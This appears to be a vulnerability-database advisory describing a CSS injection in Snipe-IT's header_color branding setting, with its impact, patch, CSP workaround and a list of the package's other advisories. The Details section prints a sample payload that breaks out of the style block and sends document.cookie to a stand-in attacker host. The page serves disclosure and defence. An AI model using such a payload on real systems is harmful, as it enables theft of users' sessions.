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Medium

Snipe-IT has CSS Injection via `header_color` Setting

  • Disclosed: 28.08.2026
  • Updated: 11.10.2026 10:22

Impact

Because default.blade.php is the base layout loaded on every authenticated page, all active user sessions are affected immediately upon the next page load after the payload is saved. An attacker who has compromised an admin account (or who is a malicious insider) can use this to silently exfiltrate session tokens from all other users, including other administrators.

Additionally, the Content Security Policy is disabled by default in Snipe-IT installations, which removes the primary browser-level mitigation for this class of attack.

Details

The header_color setting (and related color settings such as nav_color and link_color) is rendered inside a CSS <style> block using Laravel's {{ }} syntax:

--main-theme-color: {{ $snipeSettings->header_color ?? '#3c8dbc' }};

Although {{ }} applies HTML entity encoding, this is insufficient in a CSS context. An attacker with superadmin access to the Settings > Branding page can inject arbitrary CSS by setting the header_color value to something like:

    #fff; } body { background: url('[https://attacker.com/exfil?c='+document.cookie](https://attacker.com/exfil?c=%27+document.cookie)); } .x {

This breaks out of the CSS property value and injects a new rule that executes in the context of every authenticated user's browser on every page load.

Patches

Patched in https://github.com/grokability/snipe-it/pull/19097

Workarounds

Enable CSP in your .env file.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Composer package snipe/snipe-it < 8.6.2 8.6.2

References

CVSS score -
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N
Weakness (CWE)
CWE-79
Platform
Composer
Package
snipe/snipe-it
Disclosed
28.08.2026
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-w7qw-5wfv-gwx9 - CC BY 4.0

Vulnerability history: snipe/snipe-it

All published vulnerabilities of this package (Composer package), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (81) in the archive
Total entries
81
First → latest
10.2021 09.2026
Without a fix
6
Exploited in attacks
0

Severity breakdown

  • Critical 1
  • High 23
  • Medium 53
  • Low 4

Disclosures per year

Severity:
  1. Snipe-IT: Stored XSS via Inline XML Rendering in the Uploaded Files API
    High · 8.7 CVE-2026-63498 < 8.7.0 8.7.0
  2. Snipe-IT: Stored XSS via Custom Field name in asset-list column headers
    High · 8.1 CVE-2026-62368 < 8.7.0 8.7.0
  3. Snipe-IT: 2FA bypass via the API token flow
    High CVE-2026-63493 < 8.7.0 8.7.0
  4. Snipe-IT has an Improper Privilege Management issue
    High · 6.5 CVE-2026-55843 < 8.6.0 8.6.0
  5. Snipe-IT vulnerable to cross-company asset maintenance re-parenting via API update
    High · 7.7 CVE-2026-55516 < 8.6.2 8.6.2
  6. Snipe-IT has CSS Injection via `header_color` Setting this entry
    Medium CVE-2026-55481 < 8.6.2 8.6.2
  7. Snipe-IT vulnerable to directory traversal in displaySig
    High CVE-2026-55474 < 8.5.0 8.5.0
  8. Snipe-IT has an authorization bypass on bulk editing users
    High · 7.1 CVE-2026-55460 < 8.6.2 8.6.2
  9. Snipe-IT: Chained Information Disclosure and IDOR Leads to Full EULA File Takeover
    High CVE-2026-55694 < 8.6.3 8.6.3
  10. Snipe-IT: Tenant Isolation Bypass in FMCS Floater Mode
    High CVE-2026-55643 < 8.6.3 8.6.3
  11. Snipe-IT API Vulnerable to Cross-Tenant Accessory Injection
    High · 8.5 CVE-2026-54329 < 8.6.2 8.6.2
  12. Snipe-IT: Bulk editing users allowed `ldap_import` and `activated_in` bulk editing users
    High · 7.1 CVE-2026-48507 < 8.6.0 8.6.0
  13. Snipe-IT has insecure permissions in file uploads
    Critical · 9.8 CVE-2026-37709 < 8.4.1 8.4.1
  14. Snipe-IT has Privilege Escalation via API Permissions Assignment
    High · 8.8 CVE-2026-44832 < 8.4.1 8.4.1
  15. Snipe-IT has sensitive user attributes related to account privileges that are insufficiently protected against mass assignment
    High · 8.8 CVE-2025-15602 < 8.3.7 8.3.7
  16. Cross Site Scripting vulnerability in Snipe-IT
    High · 8.7 CVE-2024-51093 <= 7.0.13 no fix
  17. Snipe-IT remote code execution
    High · 7.2 CVE-2024-48987 < 7.0.10 7.0.10
  18. Snipe-IT allows users to promote or demote themselves or other users
    High · 8.1 CVE-2024-5685 < 6.4.2 6.4.2
  19. Cross-Site Request Forgery (CSRF) in snipe/snipe-it
    High · 8.8 CVE-2023-5511 < 6.2.3 6.2.3
  20. snipe-IT vulnerable to host header injection
    High · 8.8 CVE-2022-23064 >= 3.0-alpha, < 5.3.8 5.3.8
  21. Old sessions not blocked by login enable function in Snipe-IT
    High · 7.4 CVE-2022-1155 >= 6.0.0-RC-1, < 6.0.0-RC-6, < 5.4.2 6.0.0-RC-6, 5.4.2
  22. Improper Privilege Management in Snipe-IT
    High · 8.8 CVE-2022-0611 < 5.3.11 5.3.11
  23. snipe-it is vulnerable to Cross-Site Request Forgery (CSRF)
    High · 8.8 CVE-2021-4130 < 5.3.6 5.3.6
  24. Server-Side Request Forgery in snipe/snipe-it
    High · 7.2 CVE-2021-4075 < 6.0.0-GM 6.0.0-GM
  25. Cross-site Scripting in snipe/snipe-it
    High · 8.0 CVE-2021-3961 < 5.3.2 5.3.2

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